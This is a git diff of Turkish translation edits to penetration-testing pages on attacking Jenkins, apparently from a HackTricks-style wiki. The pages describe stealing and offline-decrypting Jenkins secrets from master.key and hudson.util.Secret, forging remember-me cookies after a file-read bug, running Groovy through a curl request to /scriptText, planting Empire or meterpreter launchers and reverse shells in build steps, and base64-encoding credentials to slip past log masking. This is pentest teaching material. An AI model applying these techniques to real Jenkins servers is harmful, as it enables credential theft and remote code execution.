bilgisi olarak** **yüklemeye** çalışırsanız bu **hata** ile karşılaşırsınız: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` @@ -216,46 +216,46 @@ env ''' } ``` -Sayfanın sonunda **tüm kimlik bilgisi türlerini** bulabilirsiniz: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +Bu sayfanın sonunda **tüm kimlik bilgisi türlerini** bulabilirsiniz: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> **Tüm sırları bir kerede dökmenin** en iyi yolu, **Jenkins** makinesini **tehdit etmek** (örneğin, **yerleşik düğüm** üzerinde ters bir shell çalıştırmak) ve ardından **master anahtarlarını** ve **şifrelenmiş sırları** **sızdırmak** ve bunları çevrimdışı olarak çözmektir.\ -> Bunu nasıl yapacağınız hakkında daha fazla bilgi için [Düğümler ve Ajanlar bölümüne](./#nodes-and-agents) ve [Sonrası Sömürü bölümüne](./#post-exploitation) bakın. +> **Tüm sırları bir anda dökmek** için en iyi yol, **Jenkins** makinesini **tehdit etmek** (örneğin, **yerleşik düğüm** üzerinde ters bir shell çalıştırmak) ve ardından **master anahtarlarını** ve **şifrelenmiş sırları** **sızdırmak** ve bunları çevrimdışı olarak çözmektir.\ +> Bunu nasıl yapacağınız hakkında daha fazla bilgi için [Düğümler ve Ajanlar bölümü](./#nodes-and-agents) ve [Sonrası Sömürü bölümü](./#post-exploitation) bölümüne bakın. ### Tetikleyiciler -[Belgelerden](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` direktifi, Pipeline'ın **otomatik olarak yeniden tetiklenmesi gereken yolları** tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre olan Pipelinelar için, `triggers` gerekli olmayabilir çünkü webhook tabanlı entegrasyon zaten mevcut olabilir. Mevcut tetikleyiciler `cron`, `pollSCM` ve `upstream`'dir. +[belgelerden](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` direktifi, Pipeline'ın **otomatik olarak yeniden tetiklenmesi gereken yolları** tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre edilmiş Pipeline'lar için, `triggers` gerekli olmayabilir çünkü webhooks tabanlı entegrasyon zaten mevcut olabilir. Mevcut tetikleyiciler `cron`, `pollSCM` ve `upstream`'dir. Cron örneği: ```bash triggers { cron('H */4 * * 1-5') } ``` -Check **diğer örnekleri belgelerde**. +Diğer örnekleri **belgelerde kontrol edin**. -### Düğümler & Ajanlar +### Düğümler ve Ajanlar Bir **Jenkins örneği**, **farklı makinelerde çalışan farklı ajanlara** sahip olabilir. Bir saldırgan perspektifinden, farklı makinelere erişim, **çalıntı potansiyel bulut kimlik bilgileri** veya diğer makineleri istismar etmek için kullanılabilecek **farklı ağ erişimleri** anlamına gelir. -Daha fazla bilgi için temel bilgilere bakın: +Daha fazla bilgi için temel bilgileri kontrol edin: {{#ref}} basic-jenkins-information.md {{#endref}} -**Yapılandırılmış düğümleri** `/computer/` içinde listeleyebilirsiniz, genellikle **`Yerleşik Düğüm`** (Jenkins'i çalıştıran düğüm) ve potansiyel olarak daha fazlasını bulacaksınız: +`/computer/` içinde **yapılandırılmış düğümleri** listeleyebilirsiniz, genellikle **`Built-In Node`** (Jenkins'i çalıştıran düğüm) ve potansiyel olarak daha fazlasını bulacaksınız: ![](<../../images/image (249).png>) -**Yerleşik düğümü ele geçirmek** özellikle ilginçtir çünkü hassas Jenkins bilgilerini içerir. +**Built-In düğümü ele geçirmek** özellikle ilginçtir çünkü hassas Jenkins bilgilerini içerir. -**Yerleşik Jenkins düğümünde** **pipeline'ı çalıştırmak** istediğinizi belirtmek için pipeline içinde aşağıdaki yapılandırmayı belirtebilirsiniz: +**Built-in Jenkins düğümünde** **pipeline'ı** **çalıştırmak** istediğinizi belirtmek için pipeline içinde aşağıdaki yapılandırmayı belirtebilirsiniz: ```bash pipeline { agent {label 'built-in'} ``` ### Tam örnek -Belirli bir ajan içindeki pipeline, bir cron tetikleyicisi ile, pipeline ve aşama ortam değişkenleri ile, bir adımda 2 değişken yükleyerek ve ters shell göndererek: +Belirli bir ajan içindeki pipeline, bir cron tetikleyicisi ile, pipeline ve aşama ortam değişkenleri ile, bir adımda 2 değişken yükleyerek ve bir ters shell göndererek: ```bash pipeline { agent {label 'built-in'} @@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## İstismar Sonrası +## Saldırı Sonrası ### Metasploit ``` @@ -314,9 +314,9 @@ msf> post/multi/gather/jenkins_gather ``` ### Jenkins Gizli Anahtarları -Yeterli izinleriniz varsa `/credentials/` erişerek gizli anahtarları listeleyebilirsiniz. Bunun yalnızca `credentials.xml` dosyasındaki gizli anahtarları listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla gizli anahtar** içerebilir. +Yeterli izinleriniz varsa `/credentials/` adresine erişerek gizli anahtarları listeleyebilirsiniz. Bunun yalnızca `credentials.xml` dosyasındaki gizli anahtarları listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla gizli anahtar** içerebilir. -Eğer **her projenin yapılandırmasını görebiliyorsanız**, orada **depo erişimi için kullanılan gizli anahtarların (gizli anahtarlar)** ve **projenin diğer gizli anahtarlarının** isimlerini de görebilirsiniz. +Eğer **her projenin yapılandırmasını görebiliyorsanız**, orada depoya erişmek için kullanılan **gizli anahtarların (secrets) isimlerini** ve **projenin diğer gizli anahtarlarını** da görebilirsiniz. ![](<../../images/image (180).png>) @@ -328,12 +328,12 @@ jenkins-dumping-secrets-from-groovy.md #### Diskten -Bu dosyalar **Jenkins gizli anahtarlarını şifre çözmek için** gereklidir: +Bu dosyalar **Jenkins gizli anahtarlarını** çözmek için gereklidir: - secrets/master.key - secrets/hudson.util.Secret -Böyle **gizli anahtarlar genellikle** şunlarda bulunabilir: +Böyle **gizli anahtarlar genellikle** şuralarda bulunabilir: - credentials.xml - jobs/.../build.xml @@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` -#### Jenkins sırlarını çevrimdışı çöz +#### Jenkins sırlarını çevrimdışı çözme -Eğer **sırları çözmek için gerekli şifreleri dökümlediyseniz**, **bu scripti** kullanarak **o sırları çözebilirsiniz**. +Eğer **sırları çözmek için gerekli şifreleri** dökümlediyseniz, **bu scripti** kullanarak **o sırları çözebilirsiniz**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -369,7 +369,7 @@ println(hudson.util.Secret.decrypt("{...}")) 2. `true` kelimesini arayın ve **`true`** kelimesini **`false`** olarak değiştirin. 1. `sed -i -e 's/truefalsetrue` olarak değiştirerek **güvenliği tekrar etkinleştirin** ve **Jenkins'i tekrar başlatın**. ## Referanslar diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index c4107c8d3..f6b61e1bf 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -14,11 +14,11 @@ Eğer bir **yetkili çerez çalınırsa**, bu çerez kullanıcının oturumuna e ### SSO/Eklentiler -Jenkins, **üçüncü taraf SSO aracılığıyla erişilebilir** olacak şekilde eklentiler kullanılarak yapılandırılabilir. +Jenkins, üçüncü taraf SSO aracılığıyla **erişilebilir olacak şekilde eklentiler kullanılarak yapılandırılabilir**. ### Tokenlar -**Kullanıcılar tokenlar oluşturabilir** ve uygulamalara kendilerini taklit etme izni verebilirler, bu CLI veya REST API aracılığıyla yapılabilir. +**Kullanıcılar tokenlar oluşturabilir** ve uygulamalara CLI veya REST API aracılığıyla kendilerini taklit etme izni verebilir. ### SSH Anahtarları @@ -28,14 +28,14 @@ Bu bileşen, Jenkins için yerleşik bir SSH sunucusu sağlar. Bu, [Jenkins CLI] `/configureSecurity` içinde **Jenkins'in yetkilendirme yöntemini yapılandırmak** mümkündür. Birkaç seçenek vardır: -- **Herkes her şeyi yapabilir**: Hatta anonim erişim sunucuyu yönetebilir. -- **Eski mod**: Jenkins <1.164 ile aynı. Eğer **"admin" rolüne** sahipseniz, sisteme **tam kontrol** verilecektir, aksi takdirde (dahil **anonim** kullanıcılar) **okuma** erişiminiz olacaktır. +- **Herkes her şeyi yapabilir**: Anonim erişim bile sunucuyu yönetebilir. +- **Eski mod**: Jenkins <1.164 ile aynı. Eğer **"admin" rolüne** sahipseniz, sisteme **tam kontrol** verilir, aksi takdirde (anonim kullanıcılar dahil) **okuma** erişiminiz olur. - **Giriş yapmış kullanıcılar her şeyi yapabilir**: Bu modda, her **giriş yapmış kullanıcı Jenkins'in tam kontrolüne** sahiptir. Tam kontrolü olmayan tek kullanıcı **anonim kullanıcıdır**, yalnızca **okuma erişimi** alır. -- **Matris tabanlı güvenlik**: **Kimin ne yapabileceğini** bir tabloda yapılandırabilirsiniz. Her **sütun** bir **izin** temsil eder. Her **satır** bir **kullanıcı veya grup/rolü temsil eder.** Bu, **kimlik doğrulanmamış kullanıcıları** temsil eden özel bir kullanıcı '**anonim**' ve **tüm kimlik doğrulanmış kullanıcıları** temsil eden '**kimlik doğrulanmış**' içerir. +- **Matris tabanlı güvenlik**: **Kimlerin ne yapabileceğini** bir tabloda yapılandırabilirsiniz. Her **sütun** bir **izin** temsil eder. Her **satır** bir **kullanıcı veya grup/rolü temsil eder.** Bu, **kimlik doğrulanmamış kullanıcıları** temsil eden özel bir kullanıcı '**anonim**' ve **tüm kimlik doğrulanmış kullanıcıları** temsil eden '**kimlik doğrulanmış**' içerir. ![](<../../images/image (149).png>) -- **Proje tabanlı Matris Yetkilendirme Stratejisi:** Bu mod, her proje için ayrı ayrı **ek ACL matrisinin tanımlanmasına** olanak tanıyan "**Matris tabanlı güvenlik**" için bir **uzantıdır.** +- **Proje Tabanlı Matris Yetkilendirme Stratejisi:** Bu mod, her proje için ayrı ayrı **ek ACL matrisinin tanımlanmasına** olanak tanıyan "**Matris tabanlı güvenlik**" için bir **uzantıdır.** - **Rol Tabanlı Strateji:** **Rol tabanlı bir strateji** kullanarak yetkilendirmeleri tanımlamayı sağlar. Rolleri `/role-strategy` içinde yönetin. ## **Güvenlik Alanı** @@ -43,8 +43,8 @@ Bu bileşen, Jenkins için yerleşik bir SSH sunucusu sağlar. Bu, [Jenkins CLI] `/configureSecurity` içinde **güvenlik alanını yapılandırmak** mümkündür. Varsayılan olarak Jenkins, birkaç farklı Güvenlik Alanı desteği içerir: - **Servlet konteynerine devret**: **Jenkins denetleyicisini çalıştıran bir servlet konteynerine kimlik doğrulama devretmek için**, örneğin [Jetty](https://www.eclipse.org/jetty/). -- **Jenkins'in kendi kullanıcı veritabanı:** Dış bir sisteme devretmek yerine **Jenkins'in kendi yerleşik kullanıcı veri deposunu** kimlik doğrulama için kullanın. Bu varsayılan olarak etkindir. -- **LDAP**: Tüm kimlik doğrulamayı yapılandırılmış bir LDAP sunucusuna devredin, hem kullanıcıları hem de grupları içerir. +- **Jenkins'in kendi kullanıcı veritabanı:** Dış bir sisteme devretmek yerine kimlik doğrulama için **Jenkins'in kendi yerleşik kullanıcı veri deposunu** kullanın. Bu varsayılan olarak etkindir. +- **LDAP**: Hem kullanıcıları hem de grupları içeren tüm kimlik doğrulamayı yapılandırılmış bir LDAP sunucusuna devredin. - **Unix kullanıcı/grup veritabanı**: **Kimlik doğrulamayı Jenkins denetleyicisindeki temel Unix** OS düzeyindeki kullanıcı veritabanına devreder. Bu mod, yetkilendirme için Unix gruplarının yeniden kullanılmasına da olanak tanır. Eklentiler, Jenkins'i mevcut kimlik sistemlerine entegre etmek için yararlı olabilecek ek güvenlik alanları sağlayabilir, örneğin: @@ -53,13 +53,13 @@ Eklentiler, Jenkins'i mevcut kimlik sistemlerine entegre etmek için yararlı ol - [GitHub Kimlik Doğrulama](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Düğümleri, Ajanlar & Yürütücüler +## Jenkins Düğümleri, Ajanlar ve Yürütücüler [docs](https://www.jenkins.io/doc/book/managing/nodes/) tanımları: -**Düğümler**, **inşa ajanlarının çalıştığı makineler**dir. Jenkins, her bağlı düğümü disk alanı, boş geçici alan, boş takas, saat zamanı/senkronizasyon ve yanıt süresi için izler. Bu değerlerden herhangi biri yapılandırılmış eşik değerinin dışına çıkarsa, bir düğüm çevrimdışı alınır. +**Düğümler**, **derleme ajanlarının çalıştığı makineler**dir. Jenkins, her bağlı düğümü disk alanı, boş geçici alan, boş takas, saat zamanı/senkronizasyon ve yanıt süresi için izler. Bu değerlerden herhangi biri yapılandırılmış eşik değerinin dışına çıkarsa, bir düğüm çevrimdışı alınır. -**Ajanlar**, **görev yürütmesini** Jenkins denetleyicisi adına **yürütücüler kullanarak yönetir**. Bir ajan, Java'yı destekleyen herhangi bir işletim sistemini kullanabilir. İnşa ve testler için gereken araçlar, ajanın çalıştığı düğümde kurulu olmalıdır; bunlar **doğrudan veya bir konteynerde** (Docker veya Kubernetes) kurulabilir. Her **ajan, ana makinede kendi PID'sine sahip bir süreçtir**. +**Ajanlar**, **yürütücüleri** kullanarak Jenkins denetleyicisi adına **görev yürütmesini yönetir**. Bir ajan, Java'yı destekleyen herhangi bir işletim sistemini kullanabilir. Derlemeler ve testler için gereken araçlar, ajanın çalıştığı düğümde kurulu olmalıdır; bunlar **doğrudan veya bir konteynerde** (Docker veya Kubernetes) kurulabilir. Her **ajan, ana makinede kendi PID'sine sahip bir süreçtir**. Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bir şekilde, bu **ajan içindeki bir ipliktir**. Bir düğümdeki **yürütücü sayısı**, o düğümde aynı anda yürütülebilecek **eşzamanlı görevlerin** sayısını tanımlar. Diğer bir deyişle, bu, o düğümde aynı anda yürütülebilecek **eşzamanlı Pipeline `aşamalarının`** sayısını belirler. @@ -67,7 +67,7 @@ Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bi ### Gizli Bilgilerin ve Kimlik Bilgilerinin Şifrelenmesi -[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) tanımına göre: Jenkins, **gizli bilgileri**, kimlik bilgilerini ve bunların ilgili şifreleme anahtarlarını korumak için **AES kullanır**. Bu şifreleme anahtarları, belirtilen anahtarları korumak için kullanılan anahtar ile birlikte `$JENKINS_HOME/secrets/` dizininde saklanır. Bu dizin, yalnızca Jenkins denetleyicisinin çalıştığı işletim sistemi kullanıcısının bu dizine okuma ve yazma erişimine sahip olacak şekilde yapılandırılmalıdır (yani, `chmod` değeri `0700` veya uygun dosya nitelikleri kullanılarak). **Anahtar** (bazen kripto jargonunda "anahtar şifreleme anahtarı" olarak adlandırılır) **şifrelenmemiş olarak** Jenkins denetleyici dosya sisteminde **`$JENKINS_HOME/secrets/master.key`** içinde saklanır ve bu, o dosyaya doğrudan erişimi olan saldırganlara karşı koruma sağlamaz. Çoğu kullanıcı ve geliştirici, bu şifreleme anahtarlarını ya [Secret](https://javadoc.jenkins.io/byShortName/Secret) API'si aracılığıyla genel gizli veri şifrelemesi için ya da kimlik bilgileri API'si aracılığıyla dolaylı olarak kullanacaktır. Kripto meraklıları için, Jenkins, [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) örneklerini şifrelemek için PKCS#5 doldurma ve rastgele IV'ler ile CBC modunda AES kullanır ve bunlar `$JENKINS_HOME/secrets/` içinde `CryptoConfidentialKey` kimliğine karşılık gelen bir dosya adı ile saklanır. Yaygın anahtar kimlikleri şunları içerir: +[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) tanımına göre: Jenkins, **gizli bilgileri**, kimlik bilgilerini ve bunların ilgili şifreleme anahtarlarını korumak için **AES kullanır**. Bu şifreleme anahtarları, `$JENKINS_HOME/secrets/` içinde, bu anahtarları korumak için kullanılan anahtar ile birlikte saklanır. Bu dizin, yalnızca Jenkins denetleyicisinin çalıştığı işletim sistemi kullanıcısının bu dizine okuma ve yazma erişimine sahip olacak şekilde yapılandırılmalıdır (yani, `chmod` değeri `0700` veya uygun dosya nitelikleri kullanılarak). **Anahtar** (bazen kriptolojide "anahtar şifreleme anahtarı" olarak adlandırılır) **şifrelenmemiş olarak** Jenkins denetleyici dosya sisteminde **`$JENKINS_HOME/secrets/master.key`** içinde saklanır ve bu, o dosyaya doğrudan erişimi olan saldırganlara karşı koruma sağlamaz. Çoğu kullanıcı ve geliştirici, bu şifreleme anahtarlarını ya [Secret](https://javadoc.jenkins.io/byShortName/Secret) API'si aracılığıyla genel gizli verileri şifrelemek için ya da kimlik bilgileri API'si aracılığıyla dolaylı olarak kullanacaktır. Kriptografi meraklıları için, Jenkins, `$JENKINS_HOME/secrets/` içinde saklanan [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) örneklerini şifrelemek için PKCS#5 dolgu ve rastgele IV'ler ile CBC modunda AES kullanır. Yaygın anahtar kimlikleri şunları içerir: - `hudson.util.Secret`: genel gizli bilgiler için kullanılır; - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: bazı kimlik bilgisi türleri için kullanılır; @@ -75,11 +75,11 @@ Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bi ### Kimlik Bilgilerine Erişim -Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebilen **küresel sağlayıcılara** (`/credentials/`) **sınırlanabilir** veya **belirli projelere** (`/job//configure`) sınırlanabilir ve bu nedenle yalnızca belirli projeden erişilebilir. +Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebilen **küresel sağlayıcılara** (`/credentials/`) veya yalnızca belirli projelerden erişilebilen **belirli projelere** (`/job//configure`) kapsamlandırılabilir. -[**Belgeler**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) göre: Kapsamda olan kimlik bilgileri, sınırsız bir şekilde pipeline'a sunulur. **İnşa günlüğünde kazara ifşayı önlemek için**, kimlik bilgileri **normal çıktılardan maskelemektedir**, bu nedenle `env` (Linux) veya `set` (Windows) çağrısı veya ortamlarını veya parametrelerini yazdıran programlar, kimlik bilgilerine erişimi olmayan kullanıcılara **günlükte ifşa etmez**. +[**Belgelerde**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) belirtildiği gibi: Kapsamda olan kimlik bilgileri, sınırsız bir şekilde pipeline'a sunulur. **Derleme günlüğünde kazara ifşayı önlemek için**, kimlik bilgileri **normal çıktılardan maskelemektedir**, bu nedenle `env` (Linux) veya `set` (Windows) gibi bir çağrı veya ortamlarını veya parametrelerini yazdıran programlar, kimlik bilgilerini **derleme günlüğünde** ifşa etmez. -**Bu nedenle, kimlik bilgilerini dışarıya çıkarmak için bir saldırganın, örneğin, bunları base64 yapması gerekir.** +**Bu nedenle, kimlik bilgilerini dışarıya çıkarmak için bir saldırganın, örneğin, bunları base64 ile kodlaması gerekir.** ## Referanslar diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9219ad27a..4be6d9597 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -Bu blog yazısında, Jenkins'teki Yerel Dosya Dahil Etme açığını RCE'ye dönüştürmenin harika bir yolunu bulmak mümkün: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +Bu blog yazısında, Jenkins'teki bir Yerel Dosya Dahil Etme açığını RCE'ye dönüştürmenin harika bir yolunu bulmak mümkün: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -Bu, bir yerel dosya okuma açığını istismar ederek RCE elde etmek için keyfi bir çerezin oluşturulmasının kötüye kullanıldığı yazının bir kısmının AI tarafından oluşturulmuş özetidir; kendi özetimi oluşturacak zamanım olana kadar: +Bu, bir yerel dosya okuma istismar edilerek RCE elde etmek için keyfi bir çerezin oluşturulmasının kötüye kullanıldığı yazının bir kısmının AI tarafından oluşturulmuş özetidir; kendi özetimi oluşturacak zamanım olana kadar: ### Saldırı Ön Koşulları @@ -18,11 +18,11 @@ Bu, bir yerel dosya okuma açığını istismar ederek RCE elde etmek için keyf **Kullanıcı Bilgisi Alma** -- Her kullanıcı için `$JENKINS_HOME/users/*.xml` dosyasından kullanıcı yapılandırması ve gizli bilgileri erişerek toplayın: +- Her kullanıcı için `$JENKINS_HOME/users/*.xml` dosyasından kullanıcı yapılandırması ve gizli bilgileri erişin: - **Kullanıcı Adı** - **Kullanıcı tohum** -- **Zaman damgası** -- **Şifre hash'i** +- **Zaman Damgası** +- **Şifre karması** **Gizli Anahtar Çıkartma** @@ -35,13 +35,13 @@ Bu, bir yerel dosya okuma açığını istismar ederek RCE elde etmek için keyf **Token Hazırlığı** -- **Token Süre Sonu Zamanını Hesaplayın:** +- **Token Süre Sonu Zamanını Hesapla:** ```javascript tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Mevcut zamana bir saat ekler ``` -- **Token için Verileri Birleştirin:** +- **Token için Verileri Birleştir:** ```javascript token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey @@ -49,11 +49,11 @@ token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey **MAC Anahtarının Şifre Çözümü** -- **MAC Anahtar Dosyasını Şifre Çözün:** +- **MAC Anahtar Dosyasını Şifre Çöz:** ```javascript -key = toAes128Key(masterKey) // Anahtarın AES128 anahtar formatına dönüştürülmesi -decrypted = AES.decrypt(macFile, key) // .mac dosyasının şifre çözümü +key = toAes128Key(masterKey) // Anahtarı AES128 anahtar formatına dönüştür +decrypted = AES.decrypt(macFile, key) // .mac dosyasını şifre çöz if not decrypted.hasSuffix("::::MAGIC::::") return ERROR; macKey = decrypted.withoutSuffix("::::MAGIC::::") @@ -61,34 +61,34 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::") **İmza Hesaplama** -- **HMAC SHA256 Hesaplayın:** +- **HMAC SHA256 Hesapla:** ```javascript -mac = HmacSHA256(token, macKey) // Token ve MAC anahtarı kullanarak HMAC hesaplama -tokenSignature = bytesToHexString(mac) // MAC'i onaltılık dizeye dönüştürme +mac = HmacSHA256(token, macKey) // Token ve MAC anahtarı kullanarak HMAC hesapla +tokenSignature = bytesToHexString(mac) // MAC'i onaltılık dizeye dönüştür ``` **Çerez Kodlama** -- **Son Çerezi Oluşturun:** +- **Son Çerezi Oluştur:** ```javascript cookie = base64.encode( username + ":" + tokenExpiryTime + ":" + tokenSignature -) // Çerez verilerini Base64 ile kodlama +) // Çerez verilerini Base64 ile kodla ``` #### Adım 3: Kod Çalıştırma **Oturum Kimlik Doğrulaması** -- **CSRF ve Oturum Token'larını Alın:** -- `/crumbIssuer/api/json` adresine bir istek yaparak `Jenkins-Crumb` alın. -- Yanıttan `JSESSIONID`'yi yakalayın, bu `remember-me` çerezi ile birlikte kullanılacaktır. +- **CSRF ve Oturum Token'larını Al:** +- `/crumbIssuer/api/json` adresine bir istek yaparak `Jenkins-Crumb`'ı elde et. +- Yanıttan `JSESSIONID`'yi yakala, bu, hatırla çerezi ile birlikte kullanılacaktır. **Komut Çalıştırma İsteği** -- **Groovy Script ile POST İsteği Gönderin:** +- **Groovy Script ile POST İsteği Gönder:** ```bash curl -X POST "$JENKINS_URL/scriptText" \ @@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \ - Groovy script, sistem düzeyinde komutları veya Jenkins ortamında diğer işlemleri çalıştırmak için kullanılabilir. -Verilen örnek curl komutu, gerekli başlıklar ve çerezlerle Jenkins'e istek yapmanın nasıl yapılacağını gösterir ve keyfi kodu güvenli bir şekilde çalıştırır. +Verilen örnek curl komutu, gerekli başlıklar ve çerezlerle Jenkins'e istek yapmanın nasıl yapılacağını göstermektedir. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index a52ba59b4..5a428e68f 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -1,9 +1,9 @@ -# Jenkins Dumping Secrets from Groovy +# Jenkins Groovy'den Gizli Bilgileri Dökme {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Bu scriptlerin yalnızca `credentials.xml` dosyasındaki gizli bilgileri listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla kimlik bilgisi** içerebilir. +> Bu betiklerin yalnızca `credentials.xml` dosyasındaki gizli bilgileri listeleyeceğini unutmayın, ancak **derleme yapılandırma dosyaları** da **daha fazla kimlik bilgisi** içerebilir. `/script` içindeki Groovy Script konsolundan **tüm gizli bilgileri dökebilirsiniz** bu kodu çalıştırarak ```java diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 29477a663..682cb5cb0 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,10 +1,10 @@ -# Jenkins RCE Creating/Modifying Pipeline +# Jenkins RCE Pipeline Oluşturma/Düzenleme {{#include ../../banners/hacktricks-training.md}} ## Yeni Bir Pipeline Oluşturma -"Yeni Öğe" ( `/view/all/newJob` adresinde erişilebilir) kısmında **Pipeline** seçin: +"Yeni Öğe" ( `/view/all/newJob` içinde erişilebilir) seçin **Pipeline:** ![](<../../images/image (235).png>) @@ -32,6 +32,6 @@ Son olarak **Kaydet** ve **Şimdi Oluştur** butonuna tıklayın, ve pipeline ç ## Bir Pipeline'ı Değiştirme -Eğer yapılandırılmış bir pipeline'ın yapılandırma dosyasına erişiminiz varsa, sadece **ters shell'inizi ekleyerek değiştirmeniz** yeterlidir ve ardından çalıştırabilir veya çalıştırılmasını bekleyebilirsiniz. +Eğer yapılandırılmış bir pipeline'ın yapılandırma dosyasına erişiminiz varsa, sadece **ters shell'inizi ekleyerek değiştirebilirsiniz** ve ardından çalıştırabilir veya çalıştırılmasını bekleyebilirsiniz. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 37ff94fd4..3d019ec40 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,20 +1,20 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE Proje Oluşturma/Düzenleme {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## Proje Oluşturma Bu yöntem çok gürültülü çünkü tamamen yeni bir proje oluşturmanız gerekiyor (bu, kullanıcının yeni bir proje oluşturmasına izin veriliyorsa çalışır). 1. **Yeni bir proje oluşturun** (Freestyle projesi) "Yeni Öğe"ye tıklayarak veya `/view/all/newJob` adresine giderek 2. **Build** bölümünde **Shell'i çalıştır** seçeneğini ayarlayın ve bir powershell Empire başlatıcısı veya bir meterpreter powershell yapıştırın (bu _unicorn_ kullanılarak elde edilebilir). Yükü _PowerShell.exe_ ile başlatın, _powershell._ yerine. 3. **Şimdi inşa et** butonuna tıklayın -1. **Şimdi inşa et** butonu görünmüyorsa, yine de **yapılandır** --> **Yapı Tetikleyicileri** --> `Düzenli olarak inşa et` kısmına gidebilir ve `* * * * *` şeklinde bir cron ayarlayabilirsiniz. -2. Cron kullanmak yerine, sadece işi tetiklemek için bir api token adı ayarlamanız gereken "**Uzakta inşaat tetikleyin**" yapılandırmasını kullanabilirsiniz. Ardından kullanıcı profilinize gidin ve **bir API token oluşturun** (bu API token'ı işi tetiklemek için kullandığınız gibi adlandırın). Son olarak, işi tetiklemek için: **`curl :@/job//build?token=`** +1. Eğer **Şimdi inşa et** butonu görünmüyorsa, yine de **ayarlar** --> **İnşa Tetikleyicileri** --> `Düzenli olarak inşa et` kısmına gidebilir ve `* * * * *` şeklinde bir cron ayarlayabilirsiniz. +2. Cron kullanmak yerine, sadece işi tetiklemek için bir api token adı ayarlamanız gereken "**Uzakta inşaları tetikle**" ayarını kullanabilirsiniz. Ardından kullanıcı profilinize gidin ve **bir API token oluşturun** (bu API token'ı işi tetiklemek için kullandığınız gibi adlandırın). Son olarak, işi tetiklemek için: **`curl :@/job//build?token=`** komutunu kullanın. ![](<../../images/image (165).png>) -## Modifying a Project +## Projeyi Düzenleme Projeleri kontrol edin ve **herhangi birini yapılandırıp 